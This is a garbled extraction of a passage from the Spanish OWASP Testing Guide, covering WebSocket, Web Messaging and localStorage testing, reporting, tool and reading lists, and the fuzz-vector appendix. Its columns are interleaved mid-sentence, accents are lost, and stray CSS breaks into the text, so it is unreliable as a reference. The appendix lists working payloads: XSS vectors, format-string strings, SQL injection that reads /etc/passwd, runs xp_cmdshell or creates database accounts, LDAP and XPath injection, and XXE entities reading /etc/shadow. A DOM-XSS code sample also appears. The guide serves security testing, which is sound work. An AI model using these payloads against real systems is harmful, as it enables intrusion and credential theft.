Como se puede ver, el cdigo est protegido de ataques CSRF de dos <style type=text/css><!--
maneras: una con un token aleatorio generado en el segundo paso y la
otra, aceptando solamente el mtodo de variable pasada va POST. En esta *{
situacin, un atacante podra forjar un ataque CSRF + Clickjacking para
margin:0;
} Clickjacking
body {
background:#6699CC;
left:275px; Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson:
Herramientas
permitiendo situaciones del tipo Top 10 2013-A8-Cross-Site Request Use herramientas para desarrolladores de Google Chrome para acceder a la
Forgery (CSRF) Red WebSocket de comunicacin.
Confidencialidad e integridad Use OWASP Zed Ataque Proxy (ZAP) 's WebSocket tab.
Autorizacin
Desinfeccin de entrada
4. Autenticacin.
Al igual que con todos los datos procedentes de fuentes no confiables, los datos
deben ser adecuadamente desinfectados y codificados. Preste atencin a los
Los WebSockets no manejan la autenticacin, por lo que deben llevarse a
problemas de Top 10 2013-A1-inyeccin y Top 10 2013-A3-Cross-Site Scripting
cabo pruebas normales de autenticacin de Caja Negra. Consulte las secciones
(XSS).
de pruebas de autenticacin de esta gua.
5. Autorizacin.
Cmo probar
Los WebSockets no manejan la autorizacin, por lo que deben llevarse a cabo
Prueba de Caja Negra pruebas normales de habilitacin de Caja Negra. Consulte las secciones de pruebas
de autorizacin de esta gua.
1. Identificar que la aplicacin utiliza WebSockets.
Inspeccione el cdigo fuente del lado del cliente para los WS: // o WSS: //
esquema URI. 6. Desinfeccin de entrada.
Use el OWASP Zed Attack Proxy (ZAP)s WebSocket tab para volver a
reproducir y fuzz WebSocket para solicitud y respuestas. Consulte las
secciones de Prueba de validacin de datos de esta gua.
Referencias
Libros Blancos
Enviar mensaje:
Resumen iframe1.contentWindow.postMessage(Hello
world,http://www.example.com);
Web Messaging (tambin conocido como Cross Document Messaging)
permite a las aplicaciones que se ejecutan en diferentes dominios
comunicarse de una manera segura. Antes de la introduccin de la web de
mensajera, la comunicacin de diferentes orgenes (entre iframes, Recibir mensaje:
pestaas y ventanas) fue restringida por la poltica del mismo origen y
puesta en vigor por el navegador; sin embargo, los desarrolladores
utilizan varios cortes con el fin de llevar a cabo estas tareas, la mayora de
ellas principalmente inseguras. window.addEventListener(message, handler, true);
function handler(event) {
Esta restriccin en el navegador est colocada para evitar que un sitio if(event.origin === chat.example.com) {
web malicioso pueda leer datos confidenciales de otros iframes, tabs, etc,
sin embargo, hay algunos casos donde dos legtimos sitios web de /* process message (event.data) */
confianza necesitan intercambiar datos entre s.
} else {
Desde una perspectiva de seguridad, se debe comprobar si el cdigo est La comprobacin manual debe llevarse a cabo y el cdigo JavaScript debe
filtrando y procesando mensajes solamente desde dominios de confianza. ser analizado para averiguar cmo se implementa Web Messaging. En
Normalmente, la mejor manera de lograr esto es usar una lista blanca. particular, debemos estar interesados en cmo el sitio web limita los
Tambin dentro del dominio de envo, queremos asegurarnos de que el mensajes provenientes de dominio de confianza, y cmo los datos se
dominio de recepcin se est indicando explcitamente y no '*' como el manejan incluso para los dominios de confianza. A continuacin se
segundo argumento de postMessage (), ya que esta prctica podra presentan algunos ejemplos:
introducir problemas de seguridad y podra conducir al caso de un
cambio de direccin, o si el origen cambia por otros medios, el sitio web
estara enviando datos a hosts desconocidos y, por lo tanto, filtrando
datos confidenciales a servidores maliciosos. Ejemplo de cdigo vulnerable :
www.owasp.org
eval()
chat.owasp.org
o se inserta en el DOM a travs de
forums.owasp.org
innerHTML
...
function callback(e) {
Prueba de Caja Gris
Resumen
Ejemplo de validacin de entradas: La falta de controles de seguridad Almacenamiento local, tambin conocido como Web Storage o Offline
conducen a Cross-Site Scripting (XSS) Storage, es un mecanismo para almacenar los datos como pares
clave/valor atados a un dominio y forzados por la poltica del mismo
window.addEventListener(message, callback, true); origen (SOP). Hay dos objetos: localStorage que es persistente y est
destinado a sobrevivir los reinicios del navegador/sistema; y
sessionStorage que es temporal y slo existe hasta que se cierre la
ventana o pestaa.
function callback(e) {
Referencias
sessionStorage
Recursos OWASP
La principal diferencia de localStorage es que se puede acceder a los
OWASP HTML5 Security Cheat Sheet: owasp.org
datos almacenados en este objeto slo hasta que la pestaa / ventana se
cierra, lo que lo hace un candidato perfecto para los datos que no
necesitan persistir entre sesiones. Ya que comparte la mayora de las
Libros Blancos propiedades y los mtodos getItem / setItem, la prueba manual debe
llevarse a cabo para buscar estos mtodos e identificar en qu partes del
Web Messaging Specification: whatwg.org cdigo se accede al almacenamiento.
Cmo probar Tambin podemos inspeccionar estos objetos a partir de las herramientas
de desarrollo de nuestro navegador.
Prueba de Caja Negra
Para el uso de Google Chrome, haga clic en menu -> Tools -> Developer var resource = location.hash.substring(1);
Tools. A continuacin, en Recursos, ver "Almacenamiento local" y
"almacenamiento Web '.
localStorage.setItem(item,resource);
item = localStorage.getItem(item);
document.getElementById(div1).innerHTML=item;
<body onload=action()>
<div id=div1></div>
</body>
Referencias
Herramientas
Recursos OWASP
Firebug: getfirebug.com
OWASP HTML5 Security Cheat Sheet: owasp.org
Cmo Reportar
5 La realizacin de la parte tcnica de la evaluacin es slo la mitad del proceso global de evaluacin.
El producto final es la produccin de un informe bien escrito e informativo. Un informe debe ser
fcil de entender y debe poner de relieve todos los riesgos encontrados durante la fase de
evaluacin. El informe debe hacer un llamamiento tanto a la direccin ejecutiva como al personal
tcnico.
2. Parmetros de prueba
1. Resumen Ejecutivo
2.2 Alcance del proyecto: En esta seccin se describe el alcance acordado.
El resumen ejecutivo compendia los resultados generales de la evaluacin
y ofrece a los administradores de negocios y propietarios de sistemas una
vista de alto nivel de las vulnerabilidades descubiertas. El lenguaje
utilizado debe ser ms adecuado para las personas que no estn al tanto 2.3 Planificacin del proyecto: Esta seccin muestra cuando la prueba
de la tecnologa y debe incluir grficos o diagramas que muestren el nivel inici y termin.
de riesgo. Tenga en cuenta que es probable que los ejecutivos slo tengan
tiempo para leer este resumen y quieran dos preguntas contestadas en un
lenguaje sencillo: 1) Qu pasa? 2) Cmo lo arreglo? Usted tiene una
pgina para responder a estas preguntas. 2.4 Objetivos: Esta seccin muestra el nmero de aplicaciones o sistemas
especficos.
Recopilacin de Informacin
OTG-INFO-003 Revisin de los Meta archivos del Servidor Web para la fuga de informacin
OTG-INFO-005 Revisin de los Comentarios de la Pgina Web y metadatos para la fuga de informacin
Pruebas de Autenticacin
Pruebas de Autorizacin
Prueba de orculo
Prueba de PostgreSQL
Pruebas de Acceso MS
Manejo de errores
Criptografa
OTG-CRYPST-001 Pruebas para cifrados SSL/TSL dbiles, proteccin de la capa de transporte insuficiente
OTG-BUSLOGIC-005 Prueba de Lmites de Nmero de veces que una funcin se puede utilizar
Herramientas de Pruebas de Caja Negra de cdigo abierto SPIKE est diseado para analizar nuevos protocolos de red en busca de una
saturacin de bfer o debilidades similares. Requiere un slido conocimiento de C
Pruebas Generales para utilizarlo y slo est disponible para la plataforma Linux.
El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetracin Burp Proxy es un servidor proxy interceptor para pruebas de seguridad de
integrada, fcil de usar para encontrar vulnerabilidades en aplicaciones web. Est aplicaciones web, que permite interceptar y modificar todo el trfico HTTP(S) que
diseada para ser utilizada por personas con amplia experiencia en seguridad y, pasa en ambas direcciones; puede trabajar con certificados SSL personalizados y
como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en clientes no proxy conscientes.
el uso de pruebas de penetracin.
OWASP CAL9000
w3af - w3af.org
Firefox LiveHTTPHeaders - addons.mozilla.org
w3af es un framework referencial de ataques y auditoras de aplicaciones web. El
Visualiza encabezados HTTP de una pgina mientras navega. objetivo del proyecto es encontrar y explotar las vulnerabilidades de la aplicaciones
web.
DOM Evaluador es una herramienta de desarrollador que se usa para HTTP Request Maker - chrome.google.com
inspeccionar, navegar y editar un Documento de Modelo de Objeto (Document
Object Model (DOM)). Request Maker es una herramienta de pruebas de penetracin. Con esta
aplicacin puede capturar fcilmente solicitudes realizadas por pginas web, alterar
los encabezados URL e informacin POST y, por supuesto, realizar nevas
solicitudes.
Firefox Firebug - getfirebug.com
Wikto - sensepost.com
Prueba de Oracle
Prueba de AJAX
TNS Listener tool (Perl: jammed.com
OWASP Sprajax Project: owasp.org
Toad for Oracle: quest.com
Un framework de distorcin que puede usarse para explorar vulnerabilidades y SoapUI (Web Service security testing): soapui.org
realizar pruebas de larga duracin de Fuerza Bruta Binaria (Brute Force Binary
Tester (BFB)) : Netsparker: mavitunasecurity.com
Metasploit: metasploit.com
PMD: pmd.sourceforge.net
Stach & Lius Google Hacking Diggity Project: bishopfox.com Microsofts FxCop: msdn.microsoft.com
Boon: cs.berkeley.edu
Herramientas de cdigo fuente Uno de los primeros marcos de prueba web; adolece de usar el nativo
JDK proporcionando transporte HTTP que puede ser un poco limitante
Un marco de pruebas basado en la web Ruby que proporciona una para las pruebas de seguridad.
interfaz en Internet Explorer.
Watij: watij.com
Windows solamente.
Solex: solex.sourceforge.net
Muy robusto y configurable y se utiliza como motor para un nmero de
otras herramientas de prueba.
Selenium: seleniumhq.org
Un meta-marco basado en Java que utiliza htmlunit o selenium como
motor de prueba.
Rational PurifyPlus: 01.ibm.com Security Considerations in the System Development Life Cycle
Analisis Binario The Security of Applications: Not All Are Created Equal:
Veracode: veracode.com
wget: gnu.org
curl: curl.haxx.se Use Cases: Just the FAQs and Answers: ibm.com
Gua de pruebas OWASP Apndice B: Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin,
published by Addison: Wesley, ISBN 0321304861 (2006)
Lecturas sugeridas
Improving Web Application Security: Threats and Countermeasures: The Ethical Hack: A Framework for Business Value Penetration
Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004): Secure Coding: Principles and Practices, by Mark Graff and Kenneth
exploitingsoftware.com
R. Van Wyk, published by OReilly, ISBN 0596002424 (2003):
securecoding.org
The Hackers Handbook: The Strategy behind Breaking into and
(2004): dwheeler.com
Security Flaws, 2nd Edition - published by Dafydd Stuttard, Marcus Pinto, ISBN Software Security: Building Security In, by Gary McGraw, published
9781118026472 (2011)
by Addison-Wesley Professional, ISBN 0321356705 (2006)
+ Online version available at: books.google.com The Unified Modeling Language User Guide, by Grady Booch, James
Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN
0-201-57168-4 (1998)
Mastering the Requirements Process, by Suzanne Robertson and Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast,
by Paco Hope, Ben Walther, published by OReilly, ISBN 0596514832 (2008)
James Robertson, published by Addison-Wesley Professional, ISBN 0201360462
CERT Secure Coding: cert.org OWASP Vulnerable Web Applications Directory Project: owasp.org
Exploit and Vulnerability Databases: buildsecurityin.us-cert.gov Damn Vulnerable Web App: blog.dewhurstsecurity.com
OASIS Web Application Security (WAS) TC: oasis-open.org + Hacme Shipping: mcafee.com
The Open Web Application Application Security Project (OWASP: Mutillidae: irongeek.com
Pentestmonkey - Pen Testing Cheat Sheets: pentestmonkey.net Vicnum: vicnum.sourceforge.net and owasp.org
Secure Coding Guidelines for the .NET Framework 4.5: WebGoat: owasp.org
System Administration, Networking, and Security Institute (SANS): Gua de pruebas de OWASP Apndice C: Vectores Fuzz
sans.org Los siguientes son vectores fuzzing que se pueden utilizar con
WebScarab, JBroFuzz, WSFuzzer, ZAP u otro fuzzer. Fuzzing es el enfoque
Technical INFO - Making Sense of Security: technicalinfo.net del "fregadero de la cocina" en ingls: "kitchen sink" para probar la
respuesta de una aplicacin al parmetro manipulacin. En general, se
Web Application Security Consortium: webappsec.org buscan condiciones de error que se generan en una aplicacin como
resultado de fuzzing. Esta es la parte sencilla de la fase de
Web Application Security Scanner List : projects.webappsec.org descubrimiento. Una vez que el error ha sido descubierto, se requiere
habilidad para identificar y explotar una vulnerabilidad potencial.
Web Security - Articles: acunetix.com
Categoras fuzz
Videos
><STYLE>@importjavascript:alert(XSS);</STYLE>
http://www.example.com/8302fa3b alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26qu
ot;)>
http://www.example.com/00000000 >
... >
http://www.example.com/11000fff ;!--<XSS>=&{()}
<IMG SRC=javascript:alert(XSS)>
le&<WBR>#114;t('XS<WBR>;S&
#39;)>
La realizacin de pruebas de Cross Site Scripting (XSS) mediante el envo
de los siguientes vectores fuzz: <IMGSRC=ja&<WBR>#0000118as
&<WBR>#0000099ri&<WBR>#0000112t�
http://www.example.com/>><script>alert(XSS)</script>&
000058
http://www.example.com/;!--<XSS>=&{()}
&<WBR>#0000097le&<WBR>#0000114t�
000040&<WBR>#0000039XS&<WBR>#0000083�
39)>
Esta es una forma de ocultamiento por reemplazo. En esta categora, el
nmero total de solicitudes depende del nmero de vectores fuzz
especificados.
<IMG SRC=jav
ascript:alert(<WBR>XSS);>
Tenga en cuenta que el intento de cargar un archivo de definicin de este tipo
dentro de una aplicacin fuzzer puede potencialmente causar que la aplicacin se
bloquee
Desbordamiento de bfer y de error de formato de cadena
%s%p%x%d
Buffer Overflows (BFO) (desbordamiento de bfer)
.1024d
Un desbordamiento de memoria o un ataque de corrupcin de memoria
es una condicin de programacin que permite el desbordamiento de %.2049d
datos vlidos, ms all de su lmite de almacenamiento preubicado en la
memoria. %p%p%p%p
%x%x%x%x
%99999999999s
Tenga en cuenta que el intento de cargar un archivo de definicin de este
tipo dentro de una aplicacin fuzzer puede potencialmente causar que la %08x
aplicacin se bloquee.
%%20d
A x5
%%20n
A x 17
%%20x
A x 33
%%20s
A x 65
%s%s%s%s%s%s%s%s%s%s
A x 129
%p%p%p%p%p%p%p%p%p%p
A x 257
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%
A x 513 a%C%S%08x%%
A x 1024 %s x 129
A x 2049
-1 OR 1=1--
0 OR 1=1
0x100 OR 1=1
0x1000 ; OR 1=1
0x3fffffff %22+or+isnull%281%2F0%29+%2F*
0x7ffffffe %27+OR+%277659%27%3D%277659
0x7fffffff %22+or+isnull%281%2F0%29+%2F*
0x80000000 %27+--+
0xfffffffe or 1=1--
0xffffffff or 1=1--
0x10000 or 1=1 /*
0x100000 or 1=1--
Este ataque puede afectar a la capa de base de datos de una aplicacin y or a=a
normalmente est presente cuando la entrada del usuario no est filtrada
para declaraciones SQL. ) or (a=a
Admin OR
having 1=1--
Inyeccin S L Pasiva (Passive SQL Injection)
group by userid having 1=1--
Inyeccin S L Activa ( Active S L Injection)
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = tablename)--
Las declaraciones de inyeccin SQL activas pueden tener un efecto or 1 in (select @@version)--
perjudicial en la base de datos subyacente si se ejecutan con xito.
union all select @@version--
OR unusual = unusual
Inyeccin SQL Pasiva (SQP)
OR something = some+thing
||(elt(-3+5,bin(15),ord(10),hex(char(45))))
OR text = Ntext
||6
OR something like some%
||6
OR 2 > 1
OR whatever in (whatever) INSERT INTO mysql.user (user, host, password) VALUES (name, localhost,
PASSWORD(pass123))
OR 2 BETWEEN 1 and 3
GRANT CONNECT TO name; GRANT RESOURCE TO name;
or username like char(37);
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) +
union select * from users where login = char(114,111,111,116); char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
Password:*/=1--
; EXECUTE IMMEDIATE SEL || ECT US || ER para detalles de la inyeccin LDAP: Prueba de inyeccin LDAP
/**/OR/**/1/**/=/**/1 !
or 1/* (
+or+isnull%281%2F0%29+%2F* )
%27+OR+%277659%27%3D%277659 %28
%22+or+isnull%281%2F0%29+%2F* %29
%27+--+&password= &
*|
and 1 in (select var from temp)--
%2A%7C
union select 1,load_file(/etc/passwd),1,1,1;
*(|(mail=*))
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
%2A%28%7C%28mail%3D%2A%29%29
and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
Inyeccin SQL Activa (SQI)
*()|%26
; exec master..xp_cmdshell ping 10.10.1.2--
admin*
CREATE USER name IDENTIFIED BY pass123
admin*)((|userPassword=*)
CREATE USER name IDENTIFIED BY pass123 TEMPORARY
TABLESPACE temp DEFAULT TABLESPACE users; *)(uid=*))(|(uid=*
/
En el espacio de seguridad de la aplicacin, y debido a la gran cantidad de
// esquemas de codificacin disponibles, la codificacin de caracteres tiene
un mal uso popular. Est siendo utilizada para la codificacin de
//* secuencias de inyeccin maliciosas en una manera que las ofusca. Esto
puede conducir a la desviacin del ingreso de filtros de validacin, o a
*/* sacar ventaja de las formas particulares en que los navegadores muestran
el texto codificado.
@*
count(/child::node())
Codificacin de entrada - Evasin de filtro
x+or+name()=username+or+x=y
Las aplicaciones web suelen emplear diferentes tipos de mecanismos de
filtro de entrada para limitar las entradas que pueden ser enviadas por el
usuario. Si estos filtros de entrada no se aplican lo suficientemente bien,
Inyeccin XML es posible deslizar uno o dos caracteres a travs de estos filtros. Por
ejemplo, a / puede ser representado como 2F (hex) en ASCII, mientras
Los detalles de la Inyeccin XML estn aqu: Prueba de inyeccin XML que el mismo carcter (/) se codifica como C0 AF en Unicode (secuencia 2
byte). Por lo tanto, es importante que el filtrado de control de entrada
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
tenga en cuenta el esquema de codificacin utilizado. Si se encuentra que
el filtro est detectando slo inyecciones codificadas UTF-8, se puede
<?xml version=1.0 encoding=ISO-8859-
emplear un esquema de codificacin diferente para evitar este filtro.
1?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(gotcha);<![CDATA[<
]]>/SCRIPT<![CDATA[>]]></foo> Codificacin de salida - Servidor y Navegador de Consenso
<?xml version=1.0 encoding=ISO-8859-1?><foo><![CDATA[ or 1=1 or Los navegadores web deben estar conscientes del esquema de
=]]></foof> codificacin utilizado para mostrar coherentemente una pgina web.
Idealmente, esta informacin debe ser proporcionada al navegador en el
<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE foo [<!ELEMENT encabezado HTTP ("Content-Type"), como se muestra a continuacin:
foo ANY><!ENTITY xxe SYSTEM file://c:/boot.ini>]><foo>&xee;</foo>
Content-Type: text/html; charset=UTF-8
<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE foo [<!ELEMENT
foo ANY><!ENTITY xxe SYSTEM file:///etc/passwd>]><foo>&xee;</foo>
<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE foo [<!ELEMENT o a travs de la etiqueta HTML META (META HTTP-E UIV), como se
foo ANY><!ENTITY xxe SYSTEM file:///etc/shadow>]><foo>&xee;</foo> muestra a continuacin:
Codificacin bsica
Considere un filtro bsico de validacin de entrada que protege contra la Aunque cada esquema de codificacin no puede trabajar cada vez, un
inyeccin de carcter de comilla simple. En este caso, la inyeccin que poco de ensayo y error, junto con manipulaciones inteligentes, sin duda
est a continuacin evitara fcilmente este filtro: revelarn la brecha en un filtro de validacin de entrada que haya sido
dbilmente construido.
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Codificacin Multi-byte
Referencias
http://en.wikipedia.org/wiki/Encode_(semiotics)
http://ha.ckers.org/xss.html
http://www.cert.org/tech_tips/malicious_code_mitigation.html
http://www.w3schools.com/HTML/html_entities.asp
http://www.iss.net/security_center/advice/Intrusions/
2000639/default.htm
http://searchsecurity.techtarget.com/expert/Knowledgebase-
Answer/0,289625,sid14_gci1212217_tax299989,00.html
http://www.joelonsoftware.com/articles/Unicode.html